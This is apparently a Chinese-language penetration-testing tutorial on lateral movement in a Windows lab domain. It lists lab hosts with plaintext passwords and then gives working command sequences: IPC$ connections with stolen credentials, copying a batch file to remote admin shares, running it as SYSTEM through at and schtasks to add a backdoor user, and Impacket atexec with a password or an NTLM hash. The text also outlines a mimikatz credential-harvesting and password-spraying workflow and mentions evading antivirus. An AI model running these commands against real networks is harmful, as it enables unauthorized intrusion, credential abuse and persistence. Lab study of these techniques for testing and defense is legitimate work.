内网安全-域横向批量at&schtasks&impacket

QQ截图20220517093059.jpg

QQ截图20220517093708.jpg

2008 r2 webserver 域内web服务器
本地管理员账号密码: .\administraotr:admin!@#45
当前机器域用户密码: god\webadmin:admin!@#45

2003 x86 fileserver 域内文件服务器
本地管理员账号密码:administrator:admin
当前机器域用户密码: god\fileadmin:Admin12345

2008 r2 x64 dc god.org 主域控机器
域管账号密码: God\administrator:Admin12345

2012 sqlserver 域内数据库服务器
本地管理员账号密码:.\administrator:admin!@#45
当前机器域用户密码:god\dbadmin:admin!@#45

w7 x64 mary-pc 域内个人机
本地管理员账号密码:.\mary:admin
当前机器域用户密码:god\mary:admin!@#45

w8.1 x64 jack-pc 域内个人机
本地管理员账号密码:.\jack:admin
当前机器域用户密码:god\boss:Admin12345

横向渗透明文传递

在拿下一台内网主机,通过本地信息搜集收集用户凭据等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令的使用,在已知目标系统的用户明文密码的基础上,直接可在远程主机上执行命令

  • 获取到某域主机权限-> minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
  • IPC( Internet Process Connection)是共享“命名管道”的资管,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相关的权限,在远程管理计算机和查看计算机的共享资源时使用

利用流程

  1. 建立IPC链接到目标主机
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间,创建计划任务(at,schtasks)定时执行拷贝到的脚本
  4. 删除IPC链接
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\                # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat  # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$  # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del  # 删除文件
net use \\xx.xx.xx.xx\ipc$ \del     # 删除IPC
net view xx.xx.xx.xx                # 查看对方共享

建立IPC常见的错误代码

  1. 5:拒绝访问,可能是使用的不是管理员权限,需要先提升权限
  2. 51:网络问题,windoows无法找到网络路径
  3. 53:找不到网站路径,可能是IP地址错误,目标未开机,目标Lanmanserver服务未启动、有防火墙等问题
  4. 67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
  5. 1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
  6. 1326:账号密码错误
  7. 1792:目标NetLogon服务未启动,连接域控常常会出现此情况
  8. 2242:用户密码过期,目标有账号策略,强制定期更改密码

建立IPC失败的原因

  1. 目标系统不是NT或以上的操作系统
  2. 对方没有打开IPC$共享
  3. 对方未开启139,445端口,或者被防火墙屏蔽
  4. 输出命令,账号密码有错误
  • [at] & [schtasks]
#at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接
copy add.bat \192.168.3.21\c$  #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat    #添加计划任务

schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接
copy add.bat \\192.168.3.32\c$ #复制文件到其C盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务
  • 获取到DC的IP地址。执行以下两个命令时,需要域用户登录,而不是本地用户登录

QQ截图20220517095239.jpg

  • 假设已经找到DC的用户名密码(具体后面再详细讲),由于域控DC是Win2008R2(< Windows2012),可以使用at命令。
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接
copy add.bat \192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务

QQ截图20220517095346.jpg

QQ截图20220517095357.jpg

  • 一段时候后,xiaodi用户就自动添加成功了

QQ截图20220517095418.jpg

如果目标计算机>=Windows2012,需要使用schtasks命令

  • 比如前期信息收集得到了sqlserver的用户名密码,SqlServer是window2012系统

QQ截图20220517095503.jpg

  • 如下图,当使用域用户登录时,copy是失败的,原因是权限不够,应该使用本地用户登录

QQ截图20220517095523.jpg

  • 使用本地用户登录,执行如下命令
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接
copy add.bat \\192.168.3.32\c$ #复制文件到其C盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务

QQ截图20220517095557.jpg

  • 等待一段时间,成功添加新用户
net user 查看用户中是否多了一个xiaodi
net user xiaodi 查看xiaodi账户创建时间是否为刚才计划任务的时间
net user xiaodi /del 不需要了的话可以删除

QQ截图20220517095619.jpg

横向渗透明文HASH传递atexec-impacket

  • 优点:一句话命令,连接、提权全部搞定。
  • 缺点:第三方工具,非微软官方工具,易被杀毒软件查杀,实战中需要自己做一下免杀。
  • atexec是Impacket网络协议工具包中的一个工具
  • https://www.freebuf.com/sectool/175208.html
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

执行命令,直接提权

QQ截图20220517100720.jpg

QQ截图20220517100739.jpg